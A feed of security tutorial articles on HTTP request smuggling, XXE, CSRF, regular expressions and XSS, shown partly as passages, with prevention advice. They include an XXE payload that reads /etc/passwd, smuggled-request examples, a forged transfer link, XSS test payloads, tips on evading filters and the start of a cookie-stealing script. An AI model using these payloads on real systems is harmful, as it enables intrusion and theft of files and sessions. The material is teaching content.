HTTP/1.1<br>HOST: target-website.com<br>Transfer-Encoding: chunked<br>Content-Length: 4</pre><pre>12<br>Malicious request</pre><pre>0</pre><p>In this situation, the front-end server processes the request based on the Transfer-Encoding Header. And so, it will forward the entire request to the back-end server.</p><p>When the back-end server receives the request, it sees that the content-length is 4 bytes, and so it will stop processing the request at the beginning of the line containing Malicious request. The web server will then consider what comes next as a new request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*WoS9aDVsAdFA2dHa.jpg" /></figure><h4>TE.TE</h4><p>When both servers use Transfer-Encoding, they can differ in the way they interpret the header.</p><p>For instance, the following requests can be handled differently depending on the presence of space and tab characters:</p><pre>Transfer-Encoding: chunked<br>Transfer-Encoding : chunked<br>Transfer-Encoding: chunked<br>Transfer-Encoding[Tab]:chunked</pre><p>The options are endless here, but you can see now how the vulnerability can still be present even if the two servers agree on the Transfer-Encoding as a way to separate requests.</p><h3>Preventing HTTP Request Smuggling Attacks</h3><p>You can prevent HTTP request smuggling by following certain good practices.</p><ul><li>Use HTTP/2 protocol for communications between front-end and back-end servers.</li><li>The Back-end server should reject all ambiguous requests.</li><li>When possible, use the same web server solution for both the front-end and back-end servers (Apache, Nginx, IIS…). Of course, this won’t always be possible as front-end servers are often hardware appliances that do not offer options for customization.</li><li>Use a Web Application Firewall (WAF) that provides a protection against HTTP Request Smuggling attacks.</li></ul><p><em>Originally published at </em><a href="https://patchthenet.com/articles/http-request-smuggling-explained/"><em>https://patchthenet.com</em></a><em> on December 31, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a44f1deaa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XXE Attacks Explained]]></title>
            <link>https://infosecwriteups.com/xxe-attacks-explained-5fc1d9cc7960?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fc1d9cc7960</guid>
            <category><![CDATA[xml-external-entities]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[xxe-attack]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Sun, 12 Dec 2021 15:12:09 GMT</pubDate>
            <atom:updated>2021-12-13T08:39:24.838Z</atom:updated>
            <content:encoded><![CDATA[<p>Out of the many attacks that threaten web applications today, <strong>XXE</strong> remains the one that is talked about the least. Although it gets far less attention than <a href="https://patchthenet.com/articles/introduction-to-cross-site-scripting-xss/">XSS</a> or <a href="https://patchthenet.com/articles/introduction-to-sql-injection/">SQL injections</a>, it does carry its own risk and should not be taken as a slight.</p><p>In this guide, I will try to explain what XXE is, why it is dangerous, and how to protect against it. But, before we can learn about this attack, we would first need to understand a few things about XML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*xPRAPidU_U04qeab.jpg" /></figure><h3>Introduction to XML</h3><p><strong>XML</strong> ( <strong>eXtensible Markup Language</strong>) is a tag-based language that applications use for transferring data. Contrary to other tag-based languages (like HTML), XML does not have pre-defined tags. Instead, these are defined by the user.</p><p>Here is an example of an XML code:</p><pre>&lt;email&gt;<br> &lt;sender&gt;John&lt;/sender&gt;<br> &lt;recipient&gt;Peter&lt;/recipient&gt;<br> &lt;subject&gt;Hi&lt;/subject&gt;<br> &lt;message&gt;Hi Peter, How are you doing?&lt;/message&gt;<br>&lt;/email&gt;</pre><p>In the above code, the <em>email</em> tag contains 4 child tags: <em>sender</em>, <em>recipient</em>, <em>subject</em>, and <em>message</em>. Each of these tags encloses a string of characters, referred to in XML as parsed character data (or <strong>PCDATA</strong>).</p><h4>XML File Declaration</h4><p>An XML file should start with an <strong>XML declaration</strong>. This should include at least the <em>version</em> of XML that the file uses. It can also include the <em>encoding</em> and <em>standalone</em> as options. These two are optional, but the <em>version</em> attribute is mandatory.</p><p>Here is how an XML file declaration should look like:</p><pre>&lt;?xml version=&quot;1.1&quot; encoding=&quot;UTF-8&quot; standalone&quot;yes&quot;?&gt;</pre><p>As you can see, there are three different attributes:</p><ul><li><strong>version :</strong> This can either be 1.0 or 1.1. If you do not write an XML declaration, then the version defaults to XML 1.0.</li><li><strong>encoding :</strong> In most cases, you will be using UTF-8. However, depending on the characters used, you can specify UTF-16 for this attribute.</li><li><strong>standalone :</strong> This attribute can have either yes or no values. It indicates whether the XML file depends on any other files to work properly or not.</li></ul><h4>Document Type Definition (DTD)</h4><p><strong>DTD</strong> ( <strong>Document Type Definition</strong>) defines the structure of an XML document so that different people can agree on the same elements and attributes to use.</p><p>There are two different types of DTDs:</p><p><strong>1- Internal DTD</strong></p><p>When an XML document includes the definition of its own structure, that definition is what we refer to as an internal DTD. It is contained in the tag &lt;!DOCTYPE&gt; that is written at the beginning of the file, just after the XML declaration.</p><p>Here is an example of an internal DTD:</p><pre>&lt;!DOCTYPE email [ <br> &lt;!ELEMENT email (sender,recipient,subject,message)&gt;<br> &lt;!ELEMENT sender (#PCDATA)&gt;<br> &lt;!ELEMENT recipient (#PCDATA)&gt;<br> &lt;!ELEMENT subject (#PCDATA)&gt;<br> &lt;!ELEMENT message (#PCDATA)&gt;<br>]&gt;</pre><p>With !DOCTYPE email, we define <em>email</em> as the root element of the XML document.</p><p>The second line specifies that the <em>email</em> element should contain four child elements: <em>sender</em>, <em>recipient</em>, <em>subject</em>, and <em>message</em>.</p><p>After that, we specify that each of these child elements should contain parsed character data (PCDATA).</p><p>You have probably noticed that this DTD defines the same structure that we’ve seen in the previous XML code example.</p><p><strong>2- External DTD</strong></p><p>Now for this second type, we define the XML structure in an external file. In this case, the &lt;!DOCTYPE&gt; tag should contain the URL to the DTD file using the SYSTEM keyword.</p><p>We need to add the following line to the beginning of our XML document, just after the XML declaration line.</p><pre>&lt;!DOCTYPE email SYSTEM &quot;email.dtd&quot;&gt;</pre><p>And here is what the external DTD file “email.dtd” contains:</p><pre>&lt;!ELEMENT email (sender,recipient,subject,message)&gt;<br>&lt;!ELEMENT sender (#PCDATA)&gt;<br>&lt;!ELEMENT recipient (#PCDATA)&gt;<br>&lt;!ELEMENT subject (#PCDATA)&gt;<br>&lt;!ELEMENT message (#PCDATA)&gt;</pre><p>Here again, DTD defines the same structure as in the examples we’ve seen before.</p><h4>XML Entity</h4><p>An <strong>XML entity</strong> is a string of characters that the XML parser replaces with another value when encountered in the document. This is similar to what variables are in programming languages.</p><p>An entity is written in the form: Ampersand (&amp;) + name of entity + semi-colon (;).</p><p>In addition to user-defined entities, there are many built-in entities. Such examples are &amp;lt; and &amp;gt;, which get replaced with the lower than (&lt;) and greater than (&gt;) characters respectively.</p><p>Similar to DTDs, there are two types of entities: Internal and external.</p><p><strong>1- Internal Entities</strong></p><p>An <strong>internal</strong> entity is defined in the following form :</p><pre>&lt;!ENTITY name &quot;value&quot;&gt;</pre><p>Whenever there is a &amp;name; in the file, the XML parser replaces it with <em>value</em>.</p><p><strong>2- External Entities</strong></p><p>On the other hand, instead of providing a value, an <strong>external</strong> entity refers to a URL using the SYSTEM keyword.</p><pre>&lt;!ENTITY name SYSTEM &quot;URL&quot;&gt;</pre><p>Similar to an internal entity, whenever a parser encounters a &amp;name; in the XML file, it replaces it with the content of the URL that the external entity declaration refers to.</p><h3>Introduction to XXE</h3><p><strong>XXE</strong> ( <strong>XML eXternal Entity</strong>) is a type of attack that takes advantage of external entities in XML files.</p><p>Some websites rely on XML for transferring data between the browser and the webserver. When it receives data in XML, the webserver transmits it to an XML parser which processes this data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*hovrKwRwuyEqhpW7.jpg" /></figure><p>As we’ve seen in the previous section, XXE, or XML eXternal Entities, are not a vulnerability on their own. Like any other XML feature, they are just an inherent part of the language. Therefore, an XML parser will, by default, interpret them. And, as expected from it, it will load the external content that they call. This, of course, can be prevented with some secure configuration practices, which we will cover later in this article.</p><p>Now a malicious user can take advantage of this XML feature to define external entities that retrieve sensitive files from the server-side, leading to exploiting a vulnerable XML parser.</p><p>Let’s see how this works with a simple example.</p><h4>XXE Attack Example</h4><p>To demonstrate the impact of an XXE attack, we are going to use an example taken from the Mustacchio room on <a href="https://tryhackme.com/">TryHackMe</a>.</p><p>As shown in the image below, we have at our disposal a form input to add a comment on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*77TCkch-7zeIoEz4.png" /></figure><p>With the proxy interception enabled on Burp Suite, I have typed Hello and submitted the form.</p><p>On Burp Suite, I have intercepted the following request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/0*34JO-mH4atAdSgIw.png" /></figure><p>We can see that the web application stores the “Hello” value in a variable named <em>xml</em>. This hints at the possibility that it can accept XML code as an input.</p><p>After doing some enumeration, I have managed to get the correct XML structure for adding a comment, which is as follows:</p><pre>&lt;comment&gt;<br> &lt;name&gt;Name&lt;/name&gt;<br> &lt;author&gt;Author&lt;/name&gt;<br> &lt;com&gt;Comment&lt;/com&gt;<br>&lt;/comment&gt;</pre><p>So, with that in mind, let’s change the <em>xml</em> parameter value with the following code :</p><pre>&lt;?xml version=&quot;1.0&quot;?&gt;<br>&lt;!DOCTYPE payload [<br>&lt;!ENTITY malicious SYSTEM &quot;file:///etc/passwd&quot;&gt;<br>]&gt;<br>&lt;comment&gt;<br>&lt;name&gt;&amp;malicious&lt;/name&gt;<br>&lt;author&gt;Barry&lt;/author&gt;<br>&lt;com&gt;The comment&lt;/com&gt;<br>&lt;/comment&gt;</pre><p>The payload shouldn’t be difficult to understand. We have defined <em>malicious</em> as an external entity, to which we associate the content of the file file:///etc/passwd as its value.</p><p>When the XML parser arrives at &amp;malicious;, it will load at its place the content of /etc/passwd, thus revealing sensitive information from the webserver, as the following image shows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xdRqI6c-rxUK5GDD.png" /></figure><h4>How to Prevent XXE Attacks</h4><p>Fortunately, XXE attacks aren’t always effective. Their success requires misconfigurations to be on the target website. So, by making sure that our websites don’t have these poor configuration settings, we can mitigate the risk of XXE attacks.</p><p>Here are some of the good practices that we can implement to achieve this.</p><ul><li>Disabling DTDs and External Entities on the XML parser.</li><li>Always validate and sanitize all user-provided inputs before their processing.</li><li>Continually patch and update XML parsers.</li><li>Scan the web application using SAST and DAST tools.</li></ul><h3>Conclusion</h3><p>So, we have reached the end of this article. We’ve started by learning about XML, entities, and DTDs. We’ve then learned about XXE attacks, and how they are performed. Then, we’ve seen an example of an XXE attack using the TryHackMe room. We’ve also listed some of the good practices to follow to prevent these attacks from happening.</p><p>With all that, we’ve barely scratched the surface of XXE attacks and their impact. There are many other variants of this attack, from denial of service to sensitive information disclosure. There is still a lot to learn. I invite you to keep reading about this. To help you in that, the OWASP can be a good next step where you can learn more about the topic.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/xxe-attacks-explained/"><em>https://patchthenet.com</em></a><em> on December 12, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fc1d9cc7960" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/xxe-attacks-explained-5fc1d9cc7960">XXE Attacks Explained</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSRF (Cross-Site Request Forgery) Explained]]></title>
            <link>https://patchthenet.medium.com/csrf-cross-site-request-forgery-explained-d988ea497bdd?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d988ea497bdd</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[xsrf]]></category>
            <category><![CDATA[crosssiterequestforgery]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Sun, 28 Nov 2021 11:05:08 GMT</pubDate>
            <atom:updated>2021-11-28T11:14:08.349Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>C</strong>ross- <strong>S</strong>ite <strong>R</strong>equest <strong>F</strong>orgery (<strong>CSRF</strong> or <strong>XSRF</strong>), also called Client-Side Request Forgery, is a type of attack that targets web applications. It allows an attacker to induce users into accessing and changing a state on a website inadvertently.</p><p>In this article, we are going to explain how CSRF attacks work; why do they pose a threat to web applications; and what are some of the security safeguards that we can implement to protect our websites against them.</p><h3>How does a CSRF attack work?</h3><p>A CSRF attack targets users that are authenticated to a vulnerable website. Through this attack, an attacker can take the identity of a user and perform an action on their behalf. These actions will then appear to the website as if they were performed by the legitimate user.</p><p>To better understand how the process works, let’s consider the following scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*jx4Z4SM8z9TzFnTU.jpg" /></figure><p>Let’s say that a legitimate user is authenticated to their bank’s website. Now, let’s assume that this website is vulnerable to CSRF. A user can send money to other users from their account by accessing the following link:</p><pre>www.bank.com/transfer.php?to=recipient&amp;amount=1000</pre><p>An attacker can forge a link that would make the logged-in user send him money, This link will look something like this:</p><pre>www.bank.com/transfer.php?to=attacker&amp;amount=1000</pre><p>The attacker can then induce the legitimate user to access this link by sending it through a phishing email, or through another malicious website that the attacker controls.</p><p>Once the user clicks on the link, then an amount of 1000$ will get transferred to the attacker from the victim’s account.</p><p>This is just one example of the many CSRF attack scenarios. Other examples include password resets, items added to a shopping cart, and stolen sensitive information. All that without the user’s knowledge.</p><h4>GET vs POST</h4><p>In this example, the website allows state changing operations using the GET method. Such websites are a golden mine for a malicious actor. Since the GET method contains the parameters in the link, the attacker will only have to send a forged link to a legitimate user as we did here.</p><p>For this reason, using the POST method for state-changing operations is preferrable. It does not include parameters in its link, and requires using a form to send these parameters.</p><p>Although the POST method is not entirely immune to CSRF, it just adds another step for the attacker and complicates the delivery process. Instead of delivering a simple link, the attacker will have to create an HTML page with a form that sends the malicious request to the victim’s website.</p><p>Web developers should not rely solely on the POST method as the solution to the problem, we will discuss more effective controls against CSRF later in this article.</p><h4>Causes</h4><p>As the above process shows, what makes this attack vector possible is the trust that the website has in the browser.</p><p>When a user logs in, the website starts a session and provides the associated cookie to the user’s browser. From then on, the browser will include this cookie in all future requests. The website then trusts all requests originating from that browser.</p><p>Now, when a user with an active session receives a forged link from an attacker, and they click on it, the browser will include the user’s cookie with the request and the website will see that the request originates from a legitimate user with an active session.</p><h4>Impact</h4><p>The impact of CSRF can be devastating for any organization having a website that is vulnerable to this attack. They might have their reputation tarnished, users may become mistrustful of them, and they may even run the risk of incurring regulatory fines.</p><p>In addition to attacks targeting end users, an attacker can use CSRF against users with privileged account, such as admins. When successful, this might give the attacker control over the entire web application.</p><p>All these are reasons enough to implement good practices to protect against CSRF attacks.</p><h3>How to protect against CSRF?</h3><p>Thankfully, your website doesn’t have to be vulnerable to this attack. There are some good practices that you can implement if you want to protect your website against CSRF.</p><p>Some of these good practices include:</p><ul><li>A website should not permit state-changing operations based on GET requests.</li><li>Always limit session duration for connected users. Websites should terminate sessions whenever users leave the website.</li><li><a href="https://patchthenet.com/articles/introduction-to-cross-site-scripting-xss/">Cross-Site Scripting (XSS)</a> prevention controls should also be implemented, since XSS can be used to exploit CSRF.</li></ul><p>More importantly, there are two main controls that can help in preventing CSRF attacks against a website, and these are <strong>CSRF tokens</strong> and <strong>SameSite cookie</strong>.</p><h4>CSRF Tokens</h4><p>Use anti-CSRF tokens with every request that changes a state in the website. The web application should generate these tokens on the server-side and their value should be unpredictable. If a malicious user attempts a CSRF attack, they will never be able to change a state on the website since their request would need to include the associated token, which they do not know.</p><h4>SameSite Cookie</h4><p>The SameSite cookie attribute will prevent cookies from being sent in cross-site requests. A website should specify within its response header “Set-Cookie” the value of <strong>SameSite</strong> to <strong>Lax</strong> or <strong>Strict</strong>. This will prevent the browser from sending the session cookie to the website with requests originating from other websites.</p><p>This article was just a brief introduction to Cross-Site Request Forgery (CSRF). It should be your first step in the topic. If you wish to learn more, you can check <a href="https://owasp.org/www-community/attacks/csrf">OWASP’s page</a> about this attack.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/csrf-cross-site-request-forgery-explained/"><em>https://patchthenet.com</em></a><em> on November 28, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d988ea497bdd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Quick Guide To Regular Expressions]]></title>
            <link>https://medium.com/codex/a-quick-guide-to-regular-expressions-79aafbce27a1?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/79aafbce27a1</guid>
            <category><![CDATA[regex]]></category>
            <category><![CDATA[regular-expressions]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 10:54:32 GMT</pubDate>
            <atom:updated>2021-09-26T12:29:16.503Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Regular expressions</strong> are present in almost all programming languages (Python, PHP, Javascript…), as well as in Linux commands (grep, sed…) and in many other high-level languages and applications.</p><p>So, why are they so widely present? what exactly are they used for? and how can we start using them ourselves?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*bD9JEss5miy1-zRMARLNhA.jpeg" /></figure><p>Before we go ahead and address these questions, I am going to start first by addressing the elephant in the room and answer the first question that should be pondering in your mind.</p><h3>What are Regular Expressions?</h3><p>A <strong>regular expression</strong> (or <strong>Regex</strong>) is a string of characters that specifies a search pattern. It is often used to match text while performing “find” and/or “replace” operations.</p><p>I know this definition might be confusing, which makes regular expressions quite difficult to understand at first. But don’t worry, you’ll soon grasp their utility as we progress through this article, in which we are going to learn how to read and write regexes, starting from simple and short examples to more advanced patterns.</p><h3>Why use Regular Expresions?</h3><p>You might have used wildcards before in your search queries. For instance, when searching for <em>*.html</em>, you can retrieve all files that end with <em>.html</em>.</p><p>Well, regular expressions work in a similar way, except that they are more powerful and allow for more advanced text filtering options.</p><p>When it comes to learning new concepts, examples are a lot more effective than mere definitions. So, here you go. These couple of examples should help you better understand why we use regular expressions.</p><ul><li>Example 1 : To validate email addresses</li></ul><pre>\b[a-zA-Z0-9_.+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b</pre><ul><li>Example 2 : To validate phone numbers</li></ul><pre>^\+?([0-9]{1,3})?\s?\(?[0-9]{3}\)?[-\s.]?[0-9]{3}[-\s.]?[0-9]{4,6}$</pre><ul><li>Example 3 : To validate IP addresses</li></ul><pre>\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b</pre><p>I can already see the confusion in your eyes. But hey, rest assured, this isn’t Chinese. In fact, I dare you that by the end of this article, you will be able to read and understand what these expressions mean.</p><p>As you can see, by using the above examples, we can check if a certain string is an email address, a phone number, or an IP address. And these are not the only things that you can validate. Once you learn how to write regular expressions, you will be able to check for literally any type of string.</p><p><em>If you want to verify on your own the above examples, or the regex patterns that we will see in the rest of this article (Which I encourage you to do), then you can do that on </em><a href="https://regex101.com/"><em>Regex101</em></a><em>. This is a useful website that offers an interactive regex debugger, where you can test your own regex patterns against an input string.</em></p><h3>How to Write Regular Expressions?</h3><p>Now that you have witnessed with your own eyes what Regular Expressions are capable of, it is time for you to start learning the art of Regex-Fu.</p><p>So, without any more delay, your training begins now.</p><h4>Literal Characters</h4><p>The most basic regular expression you can write is simply using the literal text string that you wish to find.</p><p>For instance, using discovery as the regex pattern against the string : <em>I made a discovery today</em> will match the colored occurrence of the word discovery.</p><p>The word discovery occurs one time only in this example. If there had been more than one occurrence of that word, then, depending on the options that you&#39;re using regex with, it may only match the first occurrence of the literal string.</p><p>The way you define these options (Sometimes also called flags) varies depending on the application or programming language you’re using, as not all implementations of Regex are equal. If you’re only using Regex101 to test your patterns, then you can click on the ‘mg’ characters as shown in the image below to set your Regex options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*_eC53L2OvT9XBww6.png" /></figure><p>The most important flags that you may want to set are global (To return all occurrences instead of only the first one) and insensitive (To perform case insensitive matches. That is, without differentiating between uppercase and lowercase letters).</p><p>Enough with flags now, let’s go back to our regex patterns.</p><h4>Character Classes</h4><p>A character class is used to match one of many given characters. To specify one, you should enclose the characters into square brackets [].</p><p>For instance, using the expression [gst]old will match with the words gold, sold, as well as told. However, it won&#39;t match with gstold.</p><p>You can also use a hyphen in a character class to specify a range. For instance, [a-z] will match all characters between a and z (That is, all lowercase letters). You can also match only digit numbers by using [0-9].</p><p>To make things even more interesting, you can combine all these ranges in a single character class : [a-zA-Z0-9._-]. This class will match with all lowercase and uppercase letters, digit numbers, as well as the dot ., underscore _, and hyphen - characters.</p><p>If you find it tiring to have to type all these ranges, then you can use shorthand classes for the ones that people use often. You can use \d instead of [0-9] to match a digit number, or \w instead of [a-zA-Z0-9_] to match a word character (all letters, digits, plus the underscore character).</p><p>Now, as much as these classes are powerful and flexible in matching all sorts of characters, they are still limited in that they only match one character at a time. On their own, classes won’t be able to match an entire word. This is where quantifiers come into play.</p><h4>Quantifiers</h4><p>A quantifier specifies how many consecutive occurrences of a specific character, or a class has to be present in a string before it can match it.</p><p>There are three main special characters that you can use as quantifiers, and these are :</p><ul><li>The star character * provides a match if zero or more consecutive occurrences of the previous element are present.</li><li>The plus sign + matches if one or more consecutive occurences of the previous element are present.</li><li>And the question mark ? matches if zero or one occurrence of the previous element is present.</li></ul><p>Here are some examples to make things clearer:</p><ul><li>No+ will match with &#39;No&#39;, &#39;Noo&#39;, &#39;Nooo&#39;, &#39;Noooo&#39;... (You can see where I&#39;m going, I don&#39;t need to continue forever).</li><li>computers? will match with &#39;computer&#39; and &#39;computers&#39; (Zero or one occurrence of the character &#39;s&#39;).</li><li>0*[0-9]? will match with any number between 0 and 9, whether it is written as a single digit (0,1,...,9), or starting with one or more zeros (ex. 01, 0005, 003).</li></ul><p>You can also specify the exact number of times that you want the previous element to match by using curly braces {}.</p><p>As always, a couple of examples will demonstrate the three main ways you can use curly braces as quantifiers :</p><ul><li>[0-9]{5} will match any number with 5 digits.</li><li>a{1,3}nd will match with and, aand, as well as aaand (That is, with any number of occurrences between 1 and 3).</li><li>And [a-zA-Z0-9]{8,} will match with any string of 8 or more characters (This can be used to validate passwords when requiring users to choose passwords with at least 8 characters of length).</li></ul><h4>Groups</h4><p>You can use parentheses around a set of characters to create a group. If you add a quantifier after it, then it would apply to the entire group, not just the last character, or class.</p><p>As an example, (ha){2,} will match with haha, hahaha,... (Any time there is a laugh).</p><p>You can also use a group with an alternation. This is the equivalent of the or operator.</p><p>For example, I love (coffee|tea) will match with both I love coffee, and I love tea.</p><p>You can also use parenthesis to create a capturing group. Every time you use parenthesis in your expression, a capturing group is created. You can think of it as a variable that will hold the text string that is matching between parenthesis.</p><p>To go back to our previous example : I love (coffee|tea), we have one set of parenthesis, which means we only have one group (group 1). If we run this regex pattern against the string : I love tea, then group 1 will contain the string tea.</p><p>Retrieving the value contained in capturing groups depends on the programming language or application that you’re using regex with. However, if you are only testing with Regex101, then you can still see their content in the “Match information block” on the right side as shown in the screen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hGgOqbsw_5fIO7T4.png" /></figure><p>This example has only one capturing group, but you can have as many as you want.</p><h4>The Dot</h4><p>The Dot . in regex has a special meaning. It matches all characters (Except for a line break).</p><p>The regex pattern c.ffee will match with coffee, caffee, c8ffee, c-ffee...</p><p>It is used often in combination with quantifiers (+, *,...).</p><p>The regex pattern .* will match any string that is given as its input. On its own, it doesn&#39;t serve for anything. However, when combined with other regex elements, it can be used to fill in any part of a pattern where we don&#39;t know what the string that would match it will contain.</p><p>For example, the regex pattern c.*s, will literally match anything that is delimited by c and s.</p><h4>Anchors</h4><p>Anchors allow you to match depending on the position in the string.</p><p>The most used anchors are : ^ to match the beginning of the string (or a line, if the input string is multi-line), and $ for the end of the string (or line).</p><p>The regex pattern ^C will match any string (or line) that starts with the letter C. It would match with the string : Computer Stuffs, but not with Doing Computer Stuffs. This is because the latter starts with the character D, and not C.</p><p>Similarly, s$ will match any string (or line) that ends with the letter s. It would match the input string : Computers, but not Computer.</p><p>Another useful anchor is : \b, which is used to specify a word boundary. So, if you use the regex pattern \bcomputer\b, then this would match the string : I own a computer, but not I own computers. This is because, in the latter, there is an s character after the string computer, and not a word boundary.</p><h4>Escaping metacharacters</h4><p>As we’ve seen in the previous sections, many characters have special meanings when used in a regex string. These are : .+?*[](){}....</p><p>Now, what if we want to match literally one of these characters in a string input?</p><p>For instance, what if we want to match a phone number starting with the character +. If we use the regex string +[0-9]{15}, then this would generate an error. This is because we are using the + sign without a preceding element to which the quantifier would apply.</p><p>To bypass this, and force the interpretation of these metacharacters as literal characters, we can use \ before them. So, in our example, the proper string to use would be \+[0-9]{15}.</p><p><em>Note that the above regex pattern is oversimplified. It won’t be able to match phone numbers that contain hyphens within them. For the sake of this example, it was simplified to only match with phone numbers starting with </em><em>+, followed by 15 digit numbers. If you want a more accurate regex for phone number validation, you can take a look at the one provided as an example earlier in this article.</em></p><h3>Conclusion</h3><p>We have reached the end of this article, you should now be able to write your own regex patterns that suit your needs. I invite you to go back to the examples provided at the beginning of this article to try and understand why they work</p><p>If you want to challenge yourself even further, you can also try to write regular expressions for validating dates, credit card numbers, and checking password complexity. These should keep you busy for a while.</p><p><em>Originally published at </em><a href="https://patchthenet.com/articles/a-quick-guide-to-regular-expressions/"><em>https://patchthenet.com</em></a><em> on September 26, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79aafbce27a1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codex/a-quick-guide-to-regular-expressions-79aafbce27a1">A Quick Guide To Regular Expressions</a> was originally published in <a href="https://medium.com/codex">CodeX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Cross-Site Scripting (XSS)]]></title>
            <link>https://medium.com/geekculture/introduction-to-cross-site-scripting-xss-e2c001ad9132?source=rss-74aeef845ec5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2c001ad9132</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[A. Boukar]]></dc:creator>
            <pubDate>Fri, 13 Aug 2021 21:55:14 GMT</pubDate>
            <atom:updated>2021-08-18T06:23:42.953Z</atom:updated>
            <content:encoded><![CDATA[<p>This article presents a great introduction for anyone trying to learn about Cross-Site Scripting (or XSS). You don’t need to be an expert to follow along. However, you do need to know some basics about how the web works in order to gain the most from this article.</p><p>We will start first by learning about what Cross-Site Scripting is and what are its types. Then, we will explore the process of conducting an XSS attack. And finally, we will list some of the good practices that we can follow to prevent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*0gwTN6xgbZE0WWhGlMAJxA.jpeg" /></figure><p><em>Disclaimer: Please note that the information taught in this article is not intended to be used for anything other than legitimate and ethical purposes. As with all my other articles, the objective here is to further expand the security culture and to help defend and protect information systems against malicious actors.</em></p><p>So, with that being said, let’s begin!</p><h3>What is Cross-Site Scripting (XSS)?</h3><p><strong>Cross-Site Scripting</strong> (<strong>XSS</strong>) is a type of vulnerability that affects web applications. It allows an attacker to send malicious code to a website. That same code is then sent to other users to be executed on their browsers.</p><p>When successful, an XSS attack can provide the attacker with sensitive information from other users’ browsers. For instance, the attacker can retrieve user cookies and session tokens, which they can then use to perform session hijacking.</p><p>Here is an illustration that should help you better understand the process of the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*QxkJMJ4e7FsSyNXz.jpg" /></figure><p>Considering that end-users are generally trusting of the vulnerable website, they will be unsuspecting of the attack if it ever happens against them.</p><h3>XSS Types</h3><p>There are two main types of Cross-Site Scripting attacks: <strong>Persistent</strong> and <strong>reflected</strong>.</p><h4>Persistent XSS</h4><p>A <strong>persistent</strong> (Also called <strong>stored</strong>) XSS attack is the most dangerous of the two types. It occurs when the malicious script provided by the attacker is stored on the server-side of the web application. This code is then sent to other users every time they request the content associated with it.</p><p>For example, a comment section is one place where persistent XSS can occur. This is because websites store comments in a database on the server-side, and they retrieve and display them every time a user visits that section.</p><p>The above illustration is an example of a persistent XSS attack.</p><h4>Reflected XSS</h4><p>A <strong>reflected</strong> XSS attack is the least dangerous of the two types. In a reflected XSS scenario, the malicious script is sent to the web application and then presented to the user that submitted the request, and only to that user. The website doesn’t store anything on the server side.</p><p>A good example of where a reflected XSS attack can happen is a search form. Since only the user who provides a string in a search form can see that string in the response, an attacker won’t be able to perform a persistent XSS attack. The worst they can do is to conduct a reflected XSS attack.</p><p>This might not seem dangerous at first, but if a malicious actor combines it with a phishing attack, they can use it to retrieve sensitive information from other users.</p><h3>How to perform a Cross-Site Scripting Attack</h3><p>Now that we know what a Cross-Site Scripting attack is, let’s see how we can perform one.</p><p>First of all, we need to determine if our target website is vulnerable to XSS. To do so, we need to consider all points on the website where a user can provide input.</p><p>For each point, we can run a proof of concept payload that will confirm whether or not we have an XSS vulnerability. Most often, we can use the “<em>alert()</em>“ Javascript function inside a script.</p><pre>&lt;script&gt;alert(“XSS!”);&lt;/script&gt;</pre><p>If the website is vulnerable to XSS, then an alert message should pop up with the “ <em>XSS!</em>“ message. This is all the proof that we need to confirm the vulnerability of our target.</p><p>You should note that most websites may detect and block the above payload. This does not mean that these websites aren’t vulnerable, it just means that you need to obfuscate the payload to evade detection.</p><p>Once we’ve determined the vulnerability of the website, you can run a payload that will send the user’s cookie to a webpage that you control.</p><pre>&lt;script&gt;<br>document.write(&#39;&lt;img 